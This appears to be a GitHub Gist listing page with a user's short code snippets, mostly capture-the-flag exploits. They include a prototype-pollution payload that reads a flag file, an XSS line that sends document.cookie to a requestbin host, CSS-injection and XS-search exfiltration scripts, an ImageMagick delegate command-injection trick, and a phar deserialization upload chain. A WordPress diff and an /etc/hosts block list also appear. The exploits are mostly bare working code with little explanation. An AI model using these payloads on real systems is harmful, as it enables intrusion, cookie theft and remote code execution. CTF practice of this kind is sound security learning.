Skip to content

Instantly share code, notes, and snippets.

View exploit.sh
curl http://10.13.37.$i:14017/config/validated/json-schema/validate -H 'content-type: application/json' --data '{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}'
View gist:6cedcff95fa3afcb06963dffef57c542
<script>
setTimeout(() => {
(new Image()).src='/start';
var start = performance.now();
fetch("https://www.materialui.co/materialIcons/navigation/close_black_72x72.png", {
mode: "no-cors",
credentials: "include"
}).then((response) => {
var end = performance.now();
View hugo-export-with-wp-syntax.diff
1a2
>
222,223d222
< do_action('wp_print_scripts');
<
225,228d223
<
< # remove theCode
< $content = preg_replace('/<p class="theCode[^<]+<\/p>/', '', $content);
<
View 作業が100000万倍捗る不思議な.sh
echo "127.0.0.1\ttwitter.com
127.0.0.1\twww.facebook.com
127.0.0.1\tslack.com
127.0.0.1\tanond.hatelabo.jp" >> /etc/hosts
View catchat.js
prefix = 'L0LC47S_43V3R'
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
setTimeout(() => {
fetch(`send?name=${encodeURIComponent('/secret wao; Domain=a.cat-chat.web.ctfcompetition.com')}&msg=dog`)
}, 2000);
setTimeout(() => {
let payload = ''
for(let i = '0'.charCodeAt(0); i <= '9'.charCodeAt(0); ++i) {
let a = String.fromCharCode(i)
payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`
View h4x0rs.date
<script>location.href="//requestbin.fullcontact.com/15g8ko51?"+document.cookie</script>
<iframe src=/profile.php?id=c7ab51c5bdeec6bc6068d8a643a29907a1b7c71acb455454381fe7320cd5283e id=msg csp="script-src 'unsafe-inline';">
View wallbreaker.php
<?php
$home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
ini_set('display_errors', 1);
mkdir("$home/.magick/");
file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;
View raddit.php
<?php
$encrypted_block = 'PKklQOstCkI=';
$message = '';
$charset = '_-abcdefghijklmnopqrstuvwxyz0123456789';
$str_length = strlen($charset);
$method = 'DES-ECB';
function check($flag) {
View avater-uploader-2
IMAGE=$(curl http://153.127.202.154:1002/upload.php -F "file=@test4.phar.png" -vvv 2>&1 | grep Set-Cookie | sed -r 's/^.*session=([^.]+).*$/\1/' | base64 -d 2>/dev/null | sed -r 's/^.*avatar":"([^"]+).*$/\1/')
echo $IMAGE
wget http://153.127.202.154:1002/uploads/$IMAGE
node -e "function btoa(str) { var buffer; if (Buffer.isBuffer(str)) { buffer = str; } else { buffer = new Buffer(str.toString(), 'binary'); } return buffer.toString('base64');};console.log('session=' + btoa('{\"name\":\"AAAAAAAAAAAAAAAA\",\"flash\":{\"type\":\"error\",\"message\":\"Uploaded file is not PNG format.\"},\"theme\":\"phar://./uploads/$IMAGE/exploit\"}').replace(/=/g,'') + '.JDJ5JDEwJC5LS1h0UnlUbC5OeHhWVHdFRXovZ095N2taU3NPTXBhTDRnMi4yNXkwMnQ3eHp1dW16SzVt')" > cookie
COOKIE=$(cat cookie)
echo $COOKIE
View secret-note-keeper.php
<?php
$prefix = "";
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; }
for ($i = 20; $i <= 126; $i++) {
echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>";
}
?>
<script>
Array.from(document.querySelectorAll('iframe')).forEach(f => {
You can’t perform that action at this time.